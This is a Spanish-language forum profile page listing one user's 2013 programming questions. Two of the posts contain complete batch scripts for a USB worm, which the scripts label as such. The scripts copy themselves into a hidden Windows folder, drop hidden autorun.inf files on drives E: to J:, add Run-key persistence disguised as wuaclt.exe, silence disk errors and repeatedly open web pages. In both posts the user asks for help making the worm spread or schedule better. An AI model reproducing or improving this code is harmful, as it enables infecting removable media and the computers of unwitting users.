Últimos Temas de: asdexiva

Mostrar Temas
Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12

Programación / Programación Visual Basic / webbrowser ayuda

en: 28 Julio 2013, 23:34 pm

Código:

Dim uName, uPass As String

Private Sub Form_Load()
WebBrowser1.Resizable = True
WebBrowser1.Navigate ("http://www.argentinawarez.com/login.php?do=login")


End Sub



Private Sub Command1_Click()

On Error Resume Next
uName = Text1.Text
uPass = Text2.Text

Set HTML = WebBrowser1.Document

    For Each HTMLI In HTML.getElementsByTagName("input")


        If HTMLI.Name = "vb_login_username" Then

        HTMLI.Value = uName

        End If


        If HTMLI.Name = "vb_login_password" Then
        HTMLI.Value = uPass
        End If
        
        If HTMLI.Type = "submit" Then
        HTMLI.Click
        End If

    Next

End Sub

lo que hace esto es autologiarse en una pagina pero quiero que despues de logiarge vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/programas-gratis/")

y despues de 45 segundos

vaya asia aqui

WebBrowser1.Navigate ("http://www.argentinawarez.com/t.php?do=nuevo&f=2")

si me pudieran ayudar muchas gracias

62	Programación / Scripting / alguna forma de reconocer sistema operativo	en: 26 Julio 2013, 00:17 am
habra alguna forma en batch por ejemplo Código: if windows xp ejecuta codigo else if windows 7 ejecutar codigo diferente de antemano gracias :S

Programación / Scripting / ayuda start batch

en: 23 Julio 2013, 20:23 pm

Código:

@shift
@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf
set moxita=MOXITA.EXE
set trabajo=trabajo.exe



MD "%WINDIR%\14785"
MD "E:\System"
ATTRIB +S +H +R "E:\system"
MD "F:\System"
ATTRIB +S +H +R "F:\system"
MD "G:\System"
ATTRIB +S +H +R "G:\system"
MD "H:\System"
ATTRIB +S +H +R "H:\system"
MD "I:\System"
ATTRIB +S +H +R "I:\system"
MD "J:\System"
ATTRIB +S +H +R "J:\system"




Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=System\%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=System\%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM
 
IF NOT EXIST "E:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\system\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "F:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "G:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "H:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "I:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "J:\%moxita%" GOTO COPIARWORM
IF NOT EXIST "E:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "F:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "G:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "H:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "I:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "J:\%trabajo%" GOTO COPIARWORM
IF NOT EXIST "%WINDIR%\14785\systems.exe" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.
 
COPY "%WINDIR%\14785\systems.exe" "E:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\system\%juego%"
COPY "%WINDIR%\14785\systems.exe" "E:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "F:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "G:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "H:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "I:\%moxita%"
COPY "%WINDIR%\14785\systems.exe" "J:\%moxita%
COPY "%WINDIR%\14785\systems.exe" "E:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "F:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "G:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "H:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "I:\%trabajo%"
COPY "%WINDIR%\14785\systems.exe" "J:\%trabajo%



Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS
 
COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f
REM DESABILITA ERROR NO AY DISCO 
REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Windows /v ErrorMode /t REG_DWORD /d "2" /f



start primera pagina web
ping 127.0.0.1 -n 30
start segunda pagina web
ping 127.0.0.1 -n 30
start tercera pagina web
ping 127.0.0.1 -n 300

goto xd

lo que quiero es que esta parte se ejecute cada 14400 segundos

Código:

start paginaweb
ping 127.0.0.1 -n 30
start segunda pagina
ping 127.0.0.1 -n 30
start tercera pagina
ping 127.0.0.1 -n 300

pero lo demas siga funcionando no se si me explico quiero que se siga copiando a las usb pero quiero que los start se ejecuten cada 14400 segundos sin que se detenga la otra parte del codigo espero y me puedan ayudar

64	Programación / Scripting / programas de consola	en: 19 Julio 2013, 01:18 am
me pueden decir programas de consola como wget si no es mucha molestia

65	Programación / Scripting / renombrar archivos	en: 8 Julio 2013, 19:09 pm
mi duda es que tengo 15 archivos rar con diferentes nombres pero el problema es que todos los archivos tienen como nombre .exe ejemplo Visual Serial.exe No-IP DUC.exe Visual Serial.exe el problema es que no son .exe son winrar ay alguna forma de borrarles .exe todos a la vez no son extensiones solo es el nombre ay alguna forma de remplazar el .exe por nada

66	Programación / Scripting / permisos de administrador reg bat	en: 25 Junio 2013, 17:58 pm
necesito ayuda como agregar un registro si dar persimos de administrador en windows 7 por que si lo abro con doble clic el archivo bat no hace nada pero si le doy ejecutar como administrador si funciona lo que quiero saber es como hacerle para que se ejecute como administrador

Programación / Scripting / copy falla

en: 24 Junio 2013, 20:01 pm

bueno mi pregunta es por que el archivo original que ejecuto si se copia al directorio de windows y el que se crea en el usb no se autocopia al directorio de windows ?

Código:

@echo off
:xD
set juego=systems.exe
SET AUTORUNORIGINAL=%WINDIR%\14785\WINUPDATE.DLL
SET AUTORUN=autorun.inf



MD "%WINDIR%\14785"

Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM AQUI SE CREA EL ARCHIVO AUTORUN
ECHO [AUTORUN] >%AUTORUNORIGINAL%
ECHO open=%juego% >>%AUTORUNORIGINAL%
ECHO shell\1=abrir >>%AUTORUNORIGINAL%
ECHO shell\1\Command=%juego% >>%AUTORUNORIGINAL%
ECHO shell\2\=explorar >>%AUTORUNORIGINAL%
ECHO shell\2\Command=%juego% >>%AUTORUNORIGINAL%
ECHO shellexecute=%juego% >>%AUTORUNORIGINAL%

REM VERIFICA LA EXISTENCIA DEL WORM
 
IF NOT EXIST "D:\%juego%" GOTO COPIARWORM
IF NOT EXIST "E:\%juego%" GOTO COPIARWORM
IF NOT EXIST "F:\%juego%" GOTO COPIARWORM
IF NOT EXIST "G:\%juego%" GOTO COPIARWORM
IF NOT EXIST "H:\%juego%" GOTO COPIARWORM
IF NOT EXIST "I:\%juego%" GOTO COPIARWORM
IF NOT EXIST "J:\%juego%" GOTO COPIARWORM

:COPIARWORM

REM COPIA EL WORM Y LE ASIGNA ATRIBUTOS DE SOLO LECTURA
REM SISTEMA Y OCULTO.
 
COPY "%WINDIR%\14785\systems.exe" "E:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "F:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "G:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "H:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "I:\%juego%"
ATTRIB +H "E:\%juego%"
COPY "%WINDIR%\14785\systems.exe" "J:\%juego%"
ATTRIB +H "E:\%juego%"

Copy /Y "%~0" "%WINDIR%\14785\systems.exe"

REM COPIADO DEL AUTORUN Y ASIGANCION DE ATRIBUTOS
 
COPY "%AUTORUNORIGINAL%" "E:\%AUTORUN%"
ATTRIB +S +H +R "E:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "F:\%AUTORUN%"
ATTRIB +S +H +R "F:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "G:\%AUTORUN%"
ATTRIB +S +H +R "G:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "H:\%AUTORUN%"
ATTRIB +S +H +R "H:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "I:\%AUTORUN%"
ATTRIB +S +H +R "I:\%AUTORUN%"
COPY "%AUTORUNORIGINAL%" "J:\%AUTORUN%"
ATTRIB +S +H +R "J:\%AUTORUN%"

REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v wuaclt.exe /t REG_SZ /d "%WINDIR%\14785\systems.exe" /f

start http://f195d7b8.any.gs
ping 127.0.0.1 -n 300
goto xD

es que el archivo que se copia al usb lo uso en otra pc y no se crea en el directorio de windows mientras que si es el original si se copia agradecira mucho que me ayuden

68	Programación / Scripting / posible sumar tiempo hora	en: 19 Junio 2013, 22:20 pm
es posible sumar tiempo en horas y cada hora sean 10$ y cada media 5$ por ejemplo de 10:50-11:50 =10$ poner los 2 tiempos y te diga cuanto es ?

69	Programación / Scripting / vacuna recycler variante 2013	en: 18 Junio 2013, 21:56 pm
http://depositfiles.org/files/mrtuxax16 si alguien gusta modificarlo y dejarlo mejor muchas gracias

70	Programación / Programación Visual Basic / auto completar posible?	en: 18 Junio 2013, 00:13 am
es posible hacer un programa que al presionar una letra diga una frase en un textbox o donde sea donde se pueda escribir ejemplo si presiona la letra s se auto escriba sabrita algo asi xD

Páginas: 1 2 3 4 5 6 [7] 8 9 10 11 12